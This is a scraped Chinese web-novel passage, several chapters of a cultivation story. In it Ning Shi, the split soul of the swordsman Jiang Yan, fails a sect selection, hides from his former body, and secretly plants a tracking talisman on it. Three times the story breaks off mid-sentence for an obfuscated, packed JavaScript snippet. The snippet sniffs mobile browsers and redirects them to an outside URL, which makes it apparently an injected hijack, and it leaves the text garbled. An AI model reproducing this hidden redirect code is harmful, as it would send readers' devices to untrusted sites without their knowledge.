少年江晏自己也吃了一惊,他几乎是下意识地屏住呼吸,看着顶端那一丝红线,心脏砰砰跳动。 其实,这个高度在已经测试过的众人中,已经算很高的了。 在少年江晏看不见的地方,那中年修士向前 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在宁时身体里的江晏:…… 他对啾啾说:“我现在开始有点担心他把自己气死了。” 啾啾:…… 但好在宁时还算留了几分理智,他眉心剧烈跳了几下后,转头就走。 他的步子越来越快,不像刚才一般磨蹭。 这次没花多长时间,他就冲出了人群,走出大选现场。 由于合江宗挑的场地位于竹城城郊,因此离开人群后,周围极为空旷。 只有冬天的风吹过这片荒原,卷起几片早已干枯的树叶。 江晏:…… 看起来更加萧瑟了呢。 站在宁时的角度,他感觉分魂现在应该很崩溃。 ——自己修炼毫无问题却没被选上,但占据了自己原来身体的东西被选上了。 江晏的意识体叹了口气,感觉孩子有点可怜。 似乎是为了验证这个念头,他突然感到这具身体眼睛有点酸。 江晏震惊,江晏慌乱。 但他此时作为旁观一切的灵魂,并不能改变过去发生的事。 于是他只能陪着泪流满面的宁时,蹲在这片无人的荒原上。 一段时间后。 宁时哭得无声无息,但汹涌澎湃。 由于眼泪实在是太多了,他一开始还用手擦,发现查不过来以后,干脆管也不管了,任凭它们在脸上蔓延、流淌。 江晏:…… 他感受着眼泪流过,又在寒风中留下冰冷的痕迹,认为这是对自己意识体的一种折磨。 所以,明明知道宁时听不到,他也小声对宁时说: “别哭了啊。” “你本来就很厉害了。” “你和那个江晏本来就是一个人啊。” “他能选上,就代表你也选上了,资质是没有问题的。” 宁时的眼泪依旧汹涌。 江晏继续叹气: “咱们又何必进那合江宗啊。” 听到合江宗修亭峰峰主如此安慰人的啾啾猛然抬头:? 然后它又听见江晏语气充满怜爱,道: “天下宗门何其之多,不过是一个合江宗嘛。” “我们还不去了呢。” 啾啾:? 你要不要听听你在说什么! 90. 凭什么 江峰主已经说了这么多堪称大逆不道的话,没有起到丝毫作用。 宁时吸了下鼻子,脑袋微动,便又一滴泪顺着他的脸颊滑下来。 一直滑到他尖尖的下巴上,然后失控地坠下去。 砸到冬天里干燥的土地上,又迅速被扬起的尘土包裹。 江晏:…… 他好绝望。 完全无法安慰人的绝望。 而面前的宁时望着刚刚被自己泪滴砸出的小土坑,一言不发。 但江晏已经感受到他的鼻子又开始发酸了。 ……不妙,大大的不妙。 就要在江晏发出哀嚎之际,什么东西闯进了他的视线。 是一只橘色的野狸猫。 它刚刚不知道在哪里窝着,此时估计是出来觅食,便大摇大摆的迈着步子。 橘猫显然见过了很多世面,它看到宁时,不像普通野猫一样迅速跑开,反而是脚下拐了个弯,径直朝宁时的方向走来了。 眼睛还瞪得圆圆的,精神抖擞。 宁时猝不及防与它对视。 三秒过后。 神奇的事件出现了,江晏发现,宁时的呼吸居然渐渐变得平稳了。 宁时用袖子抹了把脸,继续与橘猫对视。 橘猫面容冷静,继续朝宁时走来。 江晏:…… 他算是看明白了。 宁时要面子,而这只猫的神态通人性,看起来像个人类。 无论是在人类面前,还是在猫猫面前哭,宁时都做不到。 ——所以,他剧烈的情绪就这样强行被猫猫打断了。 猫猫走到宁时面前,又侧过身走向远方。 只是行动间,不知是有意无意,用尾巴尖尖勾了宁时的腿。 随后突然在原地跳了一下,撒欢似的向远处狂奔去了。 江晏和宁时:…… 看来不止奶牛猫会发癫。 但经过橘猫这么一闹,宁时肉眼可见地平静了许多。 他又抬手揉揉眼睛,最后看向大选现场的方向。 江晏听见他自言自语: “刚刚没注意时间……这都过去多久了?” “唉,估计那位也要结束。” “我还是先找个地方躲一下吧,别正面遇见了。” 江晏:? 他眼睁睁地看着宁时绕到了一块巨石后。 现在开了上帝视角,江晏终于明白为什么当年自己走出大选现场,左找右找,却就是找不到只排在他后一位的十十了—— 原来这死孩子是故意躲起来了! 他磨磨牙,准备以后有机会暴揍分魂一顿。 宁时静静地坐在石头后。 江晏感觉他的呼吸又渐渐急促起来。 刚刚的失落与悲伤已经褪去,现在是愤怒的情绪席卷过来。 他放在身侧的双手逐渐收紧。 宁时嘴唇张合几次,终于吐出几个字:“……这是为什么。” 这片荒原上,没有东西能回答他。 他静默了片刻,声音比刚才大了一点:“凭什么。” 北方吹过。 宁时突然激动了,他没有再害怕有人听见,而是用平时说话的音量,对着虚空道: “凭什么啊——” “我明明是能修炼的!” “如果他也选不上,我也就认了。” “可凭什么……凭什么他选上了啊!” “那原本明明是我的身体!” “今天该选上的人应该是我!” “要不是那场变故……我根本不会魂魄离体,今天我应该站在台上,而不是这个不知道什么来历占据了我身体的东西!” “啊啊啊孤魂野鬼就该去死啊——” 江晏:…… 他虽然现在只是意识体的形态,但是他的拳头硬了。 虽然知道分魂此时还不清楚魂魄碎片的事,但见了此情此景,江晏还是非常想给他一巴掌。 ——死孩子选上的那个人就是你自己啊! 他磨磨牙。 啾啾用鸟翅拍拍他:“冷静,冷静,不要和小孩子计较。” 江晏深吸了一口气:“我只是感觉……很震撼。” “回想起来,当年大选,我还在因为认识了新的小伙伴而高兴。” “没想到他却想让我死。” “虽然站在他的角度完全能说得通,而且我们严格来说也是一个人。” “但是……但是就是很奇怪啊。” 啾啾点头。 交谈之间,远方渐渐传来了什么动静。 宁时看去,似乎是有什么人从大选现场走出来了。 雪白的衣服,高高的马尾。 即便是小小的一个身影,也能看出来是少年时期的江晏。 他身边还跟了几个合江宗的弟子,几个人边走边在交谈什么。 最后他们站定了,合江宗弟子中一位看起来年长一些的,伸出手给了少年江晏什么东西。 他收下了。 宁时死死地盯着他们。 江晏扶额,感觉不太妙。 他和此时的宁时都知道,合江宗弟子刚刚给江晏的,就是通过合江宗大选的信物。 换句话说,收了信物,此时的江晏,已经就是合江宗的人了。 面前,那几位合江宗的弟子又简单向他叮嘱了什么,随后转身,又回到了大选现场。 估计是继续主持大选的事宜了。 只留下少年的江晏在这片荒野上。 江晏的意识体看着这一切,干咳一声:“唔……我记得我当年是领了信物之后,没有直接跟他们走。” “而是回家待了几天,算是告别。” “至于现在嘛,”他用手虚虚锤了宁时一下,“当然是等我那个落选的小伙伴了!” 啾啾听着,感觉他语气越来越咬牙切齿。 但此时的宁时不可能听到他说了什么。 所以江晏之间分魂依旧默默躲在石头后面,甚至在现场画了一张探测符放出去,放到少年江晏身边来观察。 目睹了一切的江晏:…… 他要被气笑了: “我当时刚刚选完,甚至还来不及高兴,光惦记着他了。” “他居然就躲着不见我!” “我还惦记着他,怕他因为落选心情不好做什么傻事。” 江晏指指那张探测符:“啊,就这?” “还有心情画符来观察我!可是显得着他了是吧。” 江晏语气坚定地做了一个总结: “不是,他有病吧。” 啾啾:…… 能治住合江宗修亭峰峰主的,只有修亭峰峰主自己。 要不是现在是意识体的形态,剑修怕是要被自己的分魂气到走火入魔了。 只见他深呼吸了几下,闭上眼睛,喃 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却发现这孩子还只是死死盯着少年江晏的方向。 江晏:…… 他要被气笑了。 而在远处,少年江晏在经过漫长的等待后,似乎终于意识到,他要等的人不会再出现了。 高马尾微微向下耷拉了。 江晏见他四处张望了一番,神色茫然。 接着又扬声呼唤:“十十?” “十十你在这里吗?” “我选完了,我过来找你玩了。” 江晏沉默了,他从来没有发现过,自己从前居然是这么的死心眼。 而掌握这具身体的宁时,显然也清楚地听到了少年的呼唤。 江晏只觉得他放在身侧的手一下子收紧了。 宁时眉心剧烈地跳动了几下。 少年的声音还在他耳边萦绕。 他闭上了眼,不去看这一切。 于是江晏的视线也黑下来。 于是好不容易调理好情绪的江晏又生气了,他感觉今天是自己这么多年来,生气最多的一天: “宁时你有没有心啊——” “你怎么可以这样对自己!” 可惜宁时听不见。 远处,少年江晏在荒原上又等待了片刻,见依旧没有人出现,终于放弃了等待和寻找。 少年转过身,慢慢向远方走去。 于是他身后的马尾也渐渐在宁时的视线中消失了。 荒原上恢复了安静,宁时睁开眼。 他刚刚闭眼时,也切断了和探测符的联系。 此时他掐了个手势,那探测符便回到了身边,上面显现出来刚刚少年离开时的画面。 江晏和他一起看着,只觉得这孩子越看脸越黑。 甚至连眉毛都皱起来了。 江晏就有些迷茫: 此时的宁时难道不应该很讨厌少年事情的江晏才对吗? 为什么又会露出那种表情? 凛冽的寒风吹过,宁时微弱的低语消散在风中: “……看起来不太聪明的样子。” “所以真的会是故意抢占了别人身体的野魂吗?” “唔,来日方长,我肯定会搞明白这些事情的。” 91. 分道扬镳 江晏随宁时坐在荒原上,对着面前的探测符发愣。 啾啾看不过眼,道:“你在想什么?” 江晏眼神发直:“我刚刚想到了一个严重的问题。” “虽然这个问题已经有了答案,但细思极恐。” 啾啾踹了他一脚:“别卖关子,快说。” 江晏道:“这孩子刚才发疯的模样,你也看到了吧?” 啾啾点头。 江晏又说:“我们剑修都是有仇必报,唔,虽然分魂是个符修。” “但你看,那么大一个何家,还不是说没就没?” 啾啾:“你到底想说什么?” 江晏抓了把头发:“我是在担心他以后报复我啊——” “你没听到他刚才说的话吗?” “他说他肯定要搞明白那些事情的,搞明白我那个身体和灵魂的事。” “那他要怎么才能搞明白?” 话已经说到这个地步了,啾啾也明白了什么。 果然,江晏继续道:“除了继续跟踪我,我想不到其他的方式了。” “更何况,现在的分魂是一个符修啊。” “他随便画一个什么符,再悄悄贴到我身上……” 他无力地说出最后两个字并瘫倒在地:“完啦。” 啾啾:…… 他试图安慰江晏:“应该不至于吧……” 江晏猛然坐起来,反驳:“至于。” 啾啾:? 江晏语气沉痛:“为什么?” “因为我仔细想了想,发现如果我在分魂的这种处境下,我是能办出这种事的。” 啾啾无言以对。 它静默片刻,只能憋出一句:“那可不愧是你的分魂。” 江晏沉闷地“唔”了一声,又瘫回地上。 啾啾站在他的意识体旁边,一言不发。 江晏掀起眼帘看了它一眼,又闭上眼挥挥手:“……你换个姿势站着。” “至少不要站得这么板正……太像默哀了。” 啾啾思考片刻,站到了他的胸口上。 被重击的江晏不得已再次睁眼,与面前的啾啾对视。 啾啾歪头:“啾?” 江晏又倒了回去。 一人一鸟保持这种诡异的姿势片刻后。 江晏的声音响起:“我刚刚进行了一番自我安慰。” “似乎调理好了一点。” “我既然能平安地去合江宗报到,就说明这孩子没想整死我吧。” 他呼了口气:“真的很让人难以接受呢。” “在之前的两个小世界里,明明相处都很好啊。” 啾啾终于出声了:“那叫很好吗?” 江晏:“不然呢?” 啾啾发出一声嗤笑:“那你可真够谦虚的了……可别叫分魂听见了。” “让他听见,不得哭死。” 江晏:…… 他弹了下啾啾的脑壳。 啾啾不以为意:“说真的,这样才有点意思嘛。” 看着江晏迷茫的眼神,它解释道:“什么相爱相杀的,最好磕了。” 江晏又沉默了。 然后他的意识体背过身去,不再搭理这只小鸟。 日落西斜,陆陆续续有一批又一批人走出大选现场。 最后来参加大选的人都走空了,只留下一行合江宗的弟子。 他们毕竟是一群年轻人,此时没有外人,便不再端着刚刚那副世外高人的样子。 而是像凡人间普通的一群友人一样,聚在一起,叽叽喳喳。 宁时背靠着石头,依稀听到了几句。 无非是什么在合江宗修习的日常。 诸如: “你现在的任务积分多少了?” “你还有几个任务?啊不多——正好我领的任务太多了做不过来,可以转让给你吗?” “嘿,说起来我们好不容易出来一趟,晚上准备吃什么?” …… 还是竹城的食物更吸引人。 听了最后一句,少年们安静片刻,随后爆发了更加激烈的叽叽喳喳。 ——主要是在争论去哪里吃。 江晏陪着宁时,听了满满一耳朵的鸡零狗碎。 他感觉又有趣,又熟悉。 他虽然当年没有亲眼见到这群看似遥不可及的修真弟子的这副模样,但后面毕竟是进了合江宗。 在之后出任务的经历中,少不了如同眼前这副景象的情况。 他有点想笑,却发现这个身体嘴角是向下垮着的。 还是怎么扬也扬不上去的那种垮。 江晏:…… 好吧,此情此景对于宁时这个落选了的小伙伴,似乎是有些残忍了。 宁时用手锤了下地。 然后衣袖被扬起的灰染上了一层黄,连人也被呛到了。 宁时:…… 江晏能感到他很想咳嗽。 但鉴于此时咳嗽,会被还没有离开的合江宗弟子发现,可能被认出是落选者这种情况发生,宁时捂住了嘴。 强行把咳嗽声憋了回去。 江晏:…… 他活了百十年,还是头一次遭这种罪。 他感觉宁时已经把这个身体的脸憋红了,气血上涌,甚至连泪花都快出来了。 江晏叹气。 还好,远处那些合江宗的弟子,在确定了晚上吃什么玩什么之后,便很快离开了这片土地。 于是在白天还算热闹的荒原,彻底恢复了它原本冷清的样子。 在冬日里,天黑得早。 金色的余晖渐渐被阴影湮没,暮色四垂,间或有寒鸦从苍天上掠过,留下粗噶的余音。 这里就只剩下宁时一个人了。 宁时从石头后面站起来,走出了它的遮挡范围。 ——但此时有没有被遮挡几乎没什么区别了,天已经完全黑了。 宁时突然叹了口气。 江晏听见他说: “不行啊,好不容易找到他的。” “还没聊上几句,他就要去合江宗了。” “我得想个办法跟着他——我早晚要弄清楚他是个什么东西!” 江晏:……好吧,这孩子又开始了。 宁时继续: “等我找到他了,我一定,一定要把我的灵魂换回去!” “进去合江宗的,应该是我才对!” “这是我的身体,我的灵魂才应该在上面的。” 听到此处,江晏扑捉到了关键词“灵魂”、“换回去”。 于是啾啾见剑修一改刚刚无奈的模样,而是神采奕奕道:“不错,不错。” 啾啾:? 我请问呢? 江晏瞄了它一眼,解释:“啊,分魂刚刚不是说了嘛。” “他要把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902402|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵魂换回去,回到自己原来的身体里。” 他语气愈发欢快:“正好啊,这意思可不就是分魂归位吗?” “这说明了什么?” “说明我们一条心啊——毕竟最了解我的还是我自己。” “他这话说得,可太合我的心意了。” 啾啾:…… 行吧,你高兴就好。 宁时走出了这片荒原。 他现在会画很多符了,储物袋中,各类不同功能的符纸叠在一起,厚得像一块砖头。 江晏见他取出来一块助行符。 顾名思义,就是让人走的更快,更加省力的符纸。 啾啾也见了,它跳上了江晏的肩头:“这孩子为什么不直接用灵力呢,御气而行?” 江晏白了它一眼:“你最近是不是在白日打盹。” 啾啾:? 江晏语气奇异:“你又不是不知道,我们现在共用一个身体。” “……他看书的时候,我基本上也得跟着看。” “这孩子最近一直在学画符,还没有学到怎么御气呢。” 啾啾摊翅:“说起来那是你自己的分魂,要是你不上心还能指望谁上心,我吗?” 江晏把它拎起来:“一个分魂已经够了,难道连你也想气死我吗?” 啾啾:…… 这个世界的情况确实和之前不同,堪称状况百出,江晏能忍到现在,确实是从前修习了这么多年化神期心境起了作用。 算了,还是不再刺激他了。啾啾想。 江晏也表现出了大佬的气度,他看着宁时身边快速掠过的景色,道:“我感觉他不学御气,还有一个可能。” 啾啾作洗耳恭听状。 江晏说:“原因很简单,他觉得以自己现阶段的水平,御气不够好看。” 啾啾:? 江晏解释:“他虽然资质不错,但到底没有系统学过修真的东西。” “御气而行,要么飞不了太高,要么飞不稳。” “总之是看起来会和那种仙气飘飘的感觉相差甚远。” “其实我们更多说的是御剑飞行。” “一来是品质好的佩剑,在一定程度上可以弥补使用者灵气的不足。” “二来,看起来好看。” “但问题这不就来了嘛,分魂他现在,”江晏咬重了后面几个字,“他根本就没有剑。” 江晏开始怀念自己的攻玉剑了:“分魂现在不算穷,买得起好点的剑。” “但对修炼很有助力的剑,他要么是买不起,要么是碰不到。” 啾啾听到此处,终于有了插话的余地: “嗯,你们合江宗那么大一个宗门,囊括了多少个山头和秘境啊。” “那些好东西,全在秘境里,可不就成你们的了嘛。” 江晏干咳一声:“所以这就是天下人想进大宗门的原因啊。” 话音落地,一人一鸟不约而同地又想起宁时落选之事。 便又静默了下来。 耳边只能听到宁时行动间,掠过耳畔的风声。 宁时虽然没有剑,也没有御气,但是他有助行符,走起路来也并不费力。 甚至可以说很快。 不过半个时辰,他就从大选所在的城郊,回到了竹城城内。 此时,明月高悬。 和他那晚坐在何家高楼上看到的月亮,并无不同。 92. 嫉妒 如江晏所料,宁时回到竹城之后,先回了趟何府。 他如一个鬼魂般,游荡在如今寂静无声的府邸中。 越过大门、走廊、凤鸣居……一路都是空荡荡的。 院中的花草失去了人打理,已经枯萎了不少。 就连那些高大的树木,由于没有专门的侍从去擦洗树叶,看上去也不如之前亮了,已经蒙了一层灰。 江晏默默随他走着,并已经认出来了,这就是通往藏书阁的路。 去藏书阁,那势必要经过…… 江晏思考间,宁时已经走到了从前何家家主的院落。 这里的门半开着,能够看到门栓已经生了锈。 宁时经过门口,终究是忍不住,又往里看了一眼—— 从前何家的家主,包括那些权高位重的主族,几人都静默地站在这处院落里。 宁时神色微动,他们几人现在的站位,似乎比何家刚刚被反噬的那天,更靠近门口了。 他们在尝试逃离这里。 但宁时、或者就连他们自己也知道,这是徒劳的。 几个月的时间里,他们移动的距离不过半丈。 更何况反噬的后果随着时间的推移会越来越严重。 他们最后,会连一毫都挪动不了。 宁时平静地看着这一群快要变成血肉木头的人。 他们从前的锦衣华服已经在日晒雨淋风吹中,变得看不出原来的颜色。 而在这衣服下的躯体,已经变得干瘪枯瘦。 宁时慢慢把视线从何照山鸡爪一样的手上,上移到他的脸上。 曾经的何家家主,脸颊两侧已经完全凹陷下去。 双眼混沌,蓬头垢面,甚至已经生出了白发。 他身后其他几人,亦是如此。 灯油被耗尽了会是什么样子? 想来也和他们现在的情状差不多了。 宁时收回了视线。 他们的报应,会由时间一点一点反馈。 这些人不值得他耗费更多的精力。 他迈开步子,向藏书阁走去了。 江晏对啾啾絮絮叨叨:“我们打个赌吧。” 啾啾:“我拒绝。” 江晏:“那也没事……我之前和你说过见行符的事吧。” “我猜,他可能要学下高阶见行符怎么画,怎么隐藏,然后……” 江晏微顿,然后语气古怪起来:“唔,用到我当时的身体上。” “跟踪我。” 啾啾:…… 完全说不出来什么安慰的话呢。 一柱香的时间后,答案揭晓。 宁时坐定,取出一本书,摊开纸笔,开画。 江晏看着他面前写满密密麻麻小字的书,额角抽搐:“……我就知道!” “死孩子就是回来练怎么跟踪人的!” 他的意识体快被气抽了,胸口剧烈起伏:“让我回想一下……我当年居然毫无知觉。” “那我可真是命大啊。” 江晏开始回忆自己当年大选结束后的各种生活细节,然后发现……有些模糊了。 最终啾啾拍拍他的肩,语重心长:“没事的,想不起来就别想了。” 它扫了眼埋头苦画的宁时:“照他这个效率,明天估计就能给你来个情景重现。” 江晏:…… 他痛苦地闭上了双眼,算是默认了啾啾的话。 一夜过后。 宁时带着他现画的一堆见行符、隐息符等等,来到了他经常卖符的店里,找老板打听大选的结果。 符纸店和修真界关系紧密,老板自然会关注这些。 果然宁时一开口,老板就像倒豆子似的,恨不得一股脑把自己知道的全说出来: “你说这个呀,那可算是问对人喽。” “这次在我们竹城可是足足选了十个人呢!” 他看着宁时的神色:“十个,听起来不多,但这可是在竹城一个地方选上的啊。” “你想想,最起码合江宗所在的曲洲,得多选几个吧。” “更何况还有其他地方呢。” 老板这几句话说完,江晏感觉宁时的心情又开始不好了—— 老板话里话外的意思都是选的人多,但宁时偏偏没有选上。 多刺激人呐。 但宁时面上不显,只是点点头,又问:“那老板知道他们的身份吗?” 老板笑道:“我在这里认识的人多,这么多店里,怕只有我这里的名字是全的。” 话毕,便报了几个名字,和他们的身份住址。 江晏竖起耳朵,果然听到了自己的姓名。 ……感觉真奇怪,他想。 原来自己在不知情的情况下,已经受到了这么多人的关注。 面前,宁时得了答案,笑了笑。 他递给老板一个储物袋,道:“劳烦了,若是再有人问起这些人的身份,老板边说不知。” 老板面色犹疑,接过储物袋,用神识探测了一下,便立马转换了神情。 他笑了:“好嘞好嘞,我自然是不知道的。” 宁时颔首。 老板又补充道:“那您以后再有这方面的需求……” 宁时言简意赅:“那就看你的本事了。” 说完,欲转身离去。 老板连声应好,送着宁时出了门口。 江晏还有些回不过神来,思绪万千,最后出口的却是:“……也算是个好孩子吧。” 啾啾:? 江晏:“我现在意识到了,这些信息如果肆意流转,被一些非常想进入仙门但又落选的人知道后……” 他伸手,在脖子上比了一个手势。 啾啾了然。 江晏叹气:“虽然我感觉这孩子的目的是亲自把我怎么样,但也算是达成了别人不能把我怎么样这个目标吧……” 啾啾道:“哦,那我懂了。” “相爱相杀,只有我能杀你那种,是吗。” 江晏:?! 他怒道:“你是看人间的话本子看多了吧。” 啾啾小声道:“常言道艺术类来源于生活嘛……你不懂。” 江晏确实不是很想懂,所以他闭上了嘴,不再和啾啾纠缠这件事。 他看着宁时。 果然,宁时在知道所有入选者的个人信息之后,立即就有了行动—— 他朝着某一个方向过去了。 一家家店铺从江晏的视线里划过。 江晏又开始看到眼熟了。 很多很多年前,他也是走在这里的石板路上,经过这些店铺的大门。 卖药的、卖甜点的、卖豆花的…… 走了片刻后,江晏发现,宁时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902403|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前行的这个方向,人似乎越来越多了。 江晏:…… 他大概知道是怎么回事了。 宁时拐进了一处巷子里,那隔着一道墙的人声,一下子就来到了耳边。 是那么的热闹。 只见小巷里可以说是人山人海,大多是中年妇女带着丈夫和家中小辈,和人群中央的什么人说着话。 宁时看过去。 虽然隔着层叠的人墙,但在中间的那张脸,还是那么清晰。 以至于让他在第一眼就看到了对方。 ——那是一张少年的脸。 是他从前十几年的人生中,无数次随意地从镜子里、河流里看到过的脸。 也是一张和现在的他毫无关系的脸。 是少年时期江晏的脸。 人实在太多了,宁时静静的站在边缘,并不担心会被对方发现。 他隔着人群,看着自己分岔的另一条人生。 江晏和那天参加大选时穿得不太一样,今天的他,穿了一件青绿色和红色相拼接的衣服,看着很是喜庆。 面料也是平平整整,估计是家里得知入选这件大喜事之后,给他新买的。 他的一副相貌本来就是上佳,气质温和,穿上新衣,又逢喜事,可谓是春风得意。 动作间,新衣上的颜色便反射到了他的脸上,衬得整个人红光满面,愈发俊秀了。 宁时有点恍惚了。 他还记得自己在大雪里走过的日子,填不饱肚子的日子,和婆婆生活的日子。 以及在雨中嘶吼、在何家谋划的日子。 总之都不会很体面。 而此时他原来的身体,穿戴得整整齐齐,被人群簇拥在中央,接受着街坊邻居的赞美。 这是他从来不曾见过,也从来没有体会过的。 从理智上讲,他知道,此刻在他身体里的灵魂,是一名“强盗”。 他理应仇视他,恨他,恨他抢走了自己的身体,和这个身体应该拥有的东西。 他理应希望这个野魂诡计在某一天被戳穿,最好还是在众人面前被戳穿。 然后万劫不复。 但奇怪的是,从情感上,此时的他并不抗拒眼前的场景。 他的身体被另外一人占用,被簇拥着,他作为一个旁观者,居然生出了一种诡异的满足。 是因为自己小时候便有的出人头地的梦想吗? 是因为不管怎样,毕竟是自己的身体被选入合江宗了吗? 还是因为,自己从来没有见过面前意气风发、春风得意的自己呢? 此时的宁时,还是小小的宁时。 他一时是搞不清这个问题的。 他的阅历不足以支持他处理这么多复杂的感情。 他只能在剧烈的几种情绪冲击中,默默感受着心脏的跳动。 然后握紧拳头,深吸了一口气。 试图从纷杂的思绪中理出那个毛线头。 至于毛线头,显然就是他的原装身体——江晏。 宁时见他笑得很温和,很阳光,很真心实意。 ——显然,这个时期的江晏,已经把从前大部分事情忘记得干干净净。 宁时看着,居然隐约生出了一种嫉妒: 又不是什么好的记忆,忘记就忘记了吧。 失忆的人生虽然不完整,但是快乐。 93. 见行符 眼前的画面和谐,但宁时并没有忘记他过来的真正目的。 小巷的入口处有一棵大树,他脚步向后挪了挪,将身形隐在了树干后面。 江晏:……总感觉孩子要开始办坏事了。 他的预感果然没有出错。 宁时手指微动,江晏还没来得及看清是怎么回事,只加一张黄色的符纸就出现在了这只身体的手上。 由于这段日子被迫学了很多符修的知识,江晏定睛一看,几乎毫不费力的就分辨出了那是一张见行符。 嗯,就是宁时在落选并大哭一场之后,回到何家熬夜学习画符知识的产物。 江晏只想叹气。 果然,宁时嘴唇动动,轻声念了一些咒语。 那符纸便慢慢变得透明了,最终完全能透出周围的景色,完全看不出来有实体的痕迹了。 江晏“嚯”了一声,对啾啾道:“看起来还挺高级的。” 啾啾:“希望待会用到你身上的时候,你还可以这么夸。” 江晏翻了个白眼,当他再把注意力转到宁时身上时,却发现这孩子闭上了眼睛。 世界黑了下来。 江晏有些吃惊:“闭上眼睛还要怎么看东西……哎?” 黑暗中渐渐亮了起来,隐约能看到街道的轮廓。 江晏起初以为是宁时睁了眼,但很快他就发现,此时的景象和平日里并不相同。 四周的建筑轻微产生了形变,颜色发灰,似乎还有雾气笼罩。 原本街道上那么多的人,也都变成了一团团模糊的影像。 看起来更像是现实世界的投射。 而在一片灰蒙蒙中,有两处亮色。 地上那明黄色的一点不用说,自然就是宁时刚刚催动的见行符。 而远处另一个金色的身形…… 江晏看见,有很多灰色的人形围绕在他旁边。 想来这个金色就是他那时自己的身体了。 江晏想,如此看来,见行符果然是个高级玩意。 不但外观上能隐形,还能有突出指引作用。 颇像他在前两个世界里见到过的什么名为“导航”的东西。 ——怪不得宁时学了这么久也才刚刚学会。 耳边依旧是喧嚣的,喜气洋洋。 宁时没有再睁开眼睛。 他操控着那张符纸,看着它在地面上一点一点挪过去。 由于是第一次使用这种符,动作间稍显生涩。 有那么一下,符纸行进的方向似乎偏了。 宁时手指动了动,活动范围稍大了些,似乎在努力纠正。 只见那符纸在地面上停了一瞬,随即抖动了两下,居然上升了一小段距离。 ……现在它变成悬浮在空中的了,去地面不过几拃的高度。 江晏感到,虽然宁时未发一言,但在看到这个小金点上浮之后,内心似乎更加沉默了。 他手上的动作僵了僵,随后叹了口气。 接着,手上快速掐的一连串动作。 然后江晏就看见那符纸忽上忽下,动作之快,都能带出一股风来。 江晏:……疑似被操控符纸不熟练后气得要死。 片刻后,宁时叹了口气,那抽风似的符纸也渐渐安静下来。 又平缓地向前飘去了,一直飘到了少年江晏的身边。 江晏看着眼前的一切,不由得按了按额角。 他作为当事人,沉浸式体验事件重演,简直是感慨万分。 一方面赞叹于分魂的能力。 另一方面他感觉从前的自己被分魂欺负了也没发现,有一点生气,也有一点技不如人的羞耻。 但再怎么说,分魂也是他自己的一部分。 所以这种感情就更显得复杂。 在看自己办傻事的同时,也莫名生出了一种“只有我自己才能对我自己做这种事”的骄傲。 ……实在是太奇怪了。 江晏轻轻拍拍自己的脸,试图把这种想法驱之脑外。 又偏头对啾啾说:“这孩子长进了啊,我当时丝毫没有发觉异样呢。” 他看着那张符纸,“你说,他会把这张符放在我身上,哪里呢?” 江晏话音刚落,只见那刚才还安安静静的符纸,以迅雷不及掩耳之势向前蹿了一截,顺势贴上了少年江晏的小腿。 江晏:…… “行吧,”他说,“我本来以为会贴到我后背上的。” 他看着远处那一点金光,不仅开始回忆起了当年的场景。 ……所以当时是什么样的感觉呢? 江晏只记得他们簇拥着自己,说着一些真心或假意的祝福。 自己当时应该是没有感受到任何身体上的异样。 毕竟,他只是通过了合江宗的大选,又不是已经进入宗门开始学习。 和宁时这种背后有一堆资料库并靠自己摸索的天赋型散修完全没得比。 江晏明白这个道理。 但此时他看着自己原来身体小腿上的那张符纸,却感到意识体同一个位置,似乎微微发起了热,还有点痒痒。 ……这不科学,他想。 也许是我的心理作用。 也许是那张符纸的缠绕幅度,太像一只宠物猫靠在人类脚边,用尾巴卷起人类小腿的形态了。 …… 江晏搓了把脸。 自从宁时和他从前的身体会面之后,这种突如其来的、在他看来完全是古怪的想法已经侵入他脑海很多次了。 尽管已经和分魂相处了两个小世界,但江晏依旧感受到某种感情失控的预兆。 但这次不同于以往,江晏想,在收集完分魂碎片之后,自己终归是要回到原世界的。 ……所以,宁时在原世界里的身份,到底是谁? 但以现在的时间线来看,思考这个问题还为时过早。 所以,江晏感觉自己只能像一个背后灵一样,看着宁时的一举一动。 而此时,宁时在放好见行符之后,让视线恢复了正常。 他依旧是站在树后,不知念了什么咒语,随后在原本实现的基础上,浮现了一层模糊的视野。 ——那是少年江晏的视角。 此时的意识体江晏:…… 他非常像大声感慨—— 这究竟是什么感官交互系统啊! 所谓我附在你身上监视你,你给我装了见行符监视我。 而且,这孩子心思多缜密——分明是在调试设备,看能不能用。 江晏长长呼出一口气,告诉自己不要和自己计较。 至于宁时,则是在确认见行符可以正常使用之后,轻轻笑了。 然后转身回了何府。 宁时半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看着自己在对方的夸奖下,腼腆地笑了。 又看着嬢嬢多给他加了一个大鸡腿。 那只鸡原本是家里养来啼晓的,可他要去合江宗了,嬢嬢便和她的婆婆一起把鸡杀了,跟他做了这顿饭。 嬢嬢说:“孩子啊,有出息,留不住啊。” “你有出息,我们真的高兴。” “去吧,吃完这顿晚饭就去吧,跟着仙人们走吧。” 